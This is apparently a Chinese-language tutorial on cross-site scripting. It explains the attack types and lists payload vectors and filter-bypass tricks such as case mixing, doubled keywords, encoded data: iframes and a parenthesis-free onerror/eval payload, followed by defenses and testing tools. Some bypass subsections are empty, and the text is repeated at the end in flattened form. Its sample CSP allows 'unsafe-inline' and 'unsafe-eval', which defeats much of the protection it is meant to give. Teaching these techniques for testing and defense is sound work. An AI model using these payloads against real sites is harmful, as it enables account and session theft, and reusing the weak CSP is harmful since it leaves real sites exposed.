XSS总结
字数 1218 2025-08-26 22:11:15

XSS攻击全面解析与防御指南

一、XSS攻击概述

XSS(Cross-Site Scripting)跨站脚本攻击是指攻击者通过在网页中注入恶意脚本,当用户浏览该页面时,脚本会在用户浏览器中执行,从而达到攻击目的。

攻击特点

  • 注入位置:网页输入点(搜索框、留言区、URL参数等)
  • 执行环境:受害者浏览器
  • 攻击媒介:JavaScript、Java、VBScript、ActiveX、Flash或HTML

常见攻击目的

  1. 盗取用户Cookie和敏感信息
  2. 利用Flash或Java获取更高权限
  3. 以用户身份执行操作(发帖、转账等)
  4. 利用受信任域进行不当操作
  5. 对小型网站实施DDoS攻击

二、XSS攻击分类

1. 反射型XSS(非持久型)

  • 特点:恶意脚本附加在URL参数中
  • 触发方式:诱使用户点击特制链接
  • 常见位置:搜索栏、登录口等
  • 危害:窃取Cookie、钓鱼欺骗

2. 存储型XSS(持久型)

  • 特点:恶意代码存储在服务器上
  • 触发方式:用户浏览包含恶意代码的页面
  • 常见位置:留言板、评论、博客等
  • 危害:影响范围广,无需用户交互

3. DOM型XSS

  • 特点:基于客户端DOM操作
  • 触发方式:客户端脚本处理URL或输入数据
  • 特殊性:不依赖服务器端处理
  • 危害:难以检测,可绕过传统防护

三、XSS攻击向量

无过滤情况下的攻击标签

自动触发型(无需用户交互)

<script>alert("xss");</script>

<input onfocus="alert('xss');" autofocus>
<details open ontoggle="alert('xss');">
<svg onload=alert("xss");>
<iframe onload=alert("xss");></iframe>
<video><source onerror="alert(1)">
<audio src=x onerror=alert("xss");>
<body/onload=alert("xss");>
<textarea onfocus=alert("xss"); autofocus>
<marquee onstart=alert("xss")></marquee> <!-- 火狐/IE有效 -->

需要用户交互型

<input onblur=alert("xss") autofocus>
<select onfocus=alert(1) autofocus>

特殊标签

<keygen autofocus onfocus=alert(1)> <!-- 仅限火狐 -->
<isindex type=image src=1 onerror=alert("xss")> <!-- 仅限IE -->

JavaScript伪协议

<a href="javascript:alert(`xss`);">xss</a>
<iframe src=javascript:alert('xss');></iframe>
 <!-- IE7以下 -->
<form action="Javascript:alert(1)"><input type=submit>

特殊属性

<!-- IE7以下有效 -->
<div style="color:rgb(''x:expression(alert(1))"></div>
<style>#test{x:expression(alert(/XSS/))}</style>
<table background=javascript:alert(1)></table> <!-- Opera 10.5/IE6 -->

四、绕过过滤技术

1. 空格过滤绕过


2. 关键字过滤绕过

大小写混合

<ImG sRc=x onerRor=alert("xss");>

双写关键字

<imimgg srsrcc=x onerror=alert("xss");>

字符拼接


<script>top["al"+"ert"](`xss`);</script>

注释混淆

<<script>alert("xss");//<</script>
<title>>
<SCRIPT>var a="\\";alert("xss"SCRIPT>

3. 编码绕过技术

Unicode编码



URL编码


<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

ASCII码


Hex编码


八进制编码


Base64编码


<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

4. 特殊字符过滤绕过

引号过滤


括号过滤

<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

5. URL过滤绕过

URL编码


IP地址变形

<!-- 十进制 -->


<!-- 八进制 -->


<!-- Hex -->

协议简写


中文标点


五、XSS防御措施

1. 输入过滤

  • 过滤危险字符(< > ' " javascript等)
  • 转义特殊字符(& < > " ' /)
  • 使用白名单验证输入格式

2. 输出编码

  • HTML实体编码(< → < > → >)
  • JavaScript编码
  • URL编码

3. 安全措施

  • 设置HTTP-only Cookie防止JS读取敏感Cookie
  • 实施内容安全策略(CSP)
  • 限制输入内容长度
  • 使用X-XSS-Protection头
  • 使用现代框架(React/Vue等)的自动编码功能

4. 内容安全策略(CSP)示例

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://trusted.cdn.com; object-src 'none'

六、测试与验证

测试向量

<script>alert(1)</script>

<svg/onload=alert(1)>

验证工具

  • OWASP ZAP
  • Burp Suite
  • XSS Hunter
  • BeEF框架

七、总结

XSS攻击形式多样,防御需要多层次防护。开发者应:

  1. 对所有用户输入进行严格过滤和编码
  2. 实施最小权限原则
  3. 使用现代安全机制(CSP、HTTP-only等)
  4. 定期进行安全测试和代码审计

通过综合运用这些技术,可以有效降低XSS攻击风险,保护用户数据和系统安全。

XSS攻击全面解析与防御指南 一、XSS攻击概述 XSS(Cross-Site Scripting)跨站脚本攻击是指攻击者通过在网页中注入恶意脚本,当用户浏览该页面时,脚本会在用户浏览器中执行,从而达到攻击目的。 攻击特点 注入位置:网页输入点(搜索框、留言区、URL参数等) 执行环境:受害者浏览器 攻击媒介:JavaScript、Java、VBScript、ActiveX、Flash或HTML 常见攻击目的 盗取用户Cookie和敏感信息 利用Flash或Java获取更高权限 以用户身份执行操作(发帖、转账等) 利用受信任域进行不当操作 对小型网站实施DDoS攻击 二、XSS攻击分类 1. 反射型XSS(非持久型) 特点:恶意脚本附加在URL参数中 触发方式:诱使用户点击特制链接 常见位置:搜索栏、登录口等 危害:窃取Cookie、钓鱼欺骗 2. 存储型XSS(持久型) 特点:恶意代码存储在服务器上 触发方式:用户浏览包含恶意代码的页面 常见位置:留言板、评论、博客等 危害:影响范围广,无需用户交互 3. DOM型XSS 特点:基于客户端DOM操作 触发方式:客户端脚本处理URL或输入数据 特殊性:不依赖服务器端处理 危害:难以检测,可绕过传统防护 三、XSS攻击向量 无过滤情况下的攻击标签 自动触发型(无需用户交互) 需要用户交互型 特殊标签 JavaScript伪协议 特殊属性 四、绕过过滤技术 1. 空格过滤绕过 2. 关键字过滤绕过 大小写混合 双写关键字 字符拼接 注释混淆 3. 编码绕过技术 Unicode编码 URL编码 ASCII码 Hex编码 八进制编码 Base64编码 4. 特殊字符过滤绕过 引号过滤 括号过滤 5. URL过滤绕过 URL编码 IP地址变形 协议简写 中文标点 五、XSS防御措施 1. 输入过滤 过滤危险字符( < > ' " javascript等) 转义特殊字符(& < > " ' /) 使用白名单验证输入格式 2. 输出编码 HTML实体编码( < → &lt; > → &gt;) JavaScript编码 URL编码 3. 安全措施 设置HTTP-only Cookie防止JS读取敏感Cookie 实施内容安全策略(CSP) 限制输入内容长度 使用X-XSS-Protection头 使用现代框架(React/Vue等)的自动编码功能 4. 内容安全策略(CSP)示例 六、测试与验证 测试向量 验证工具 OWASP ZAP Burp Suite XSS Hunter BeEF框架 七、总结 XSS攻击形式多样,防御需要多层次防护。开发者应: 对所有用户输入进行严格过滤和编码 实施最小权限原则 使用现代安全机制(CSP、HTTP-only等) 定期进行安全测试和代码审计 通过综合运用这些技术,可以有效降低XSS攻击风险,保护用户数据和系统安全。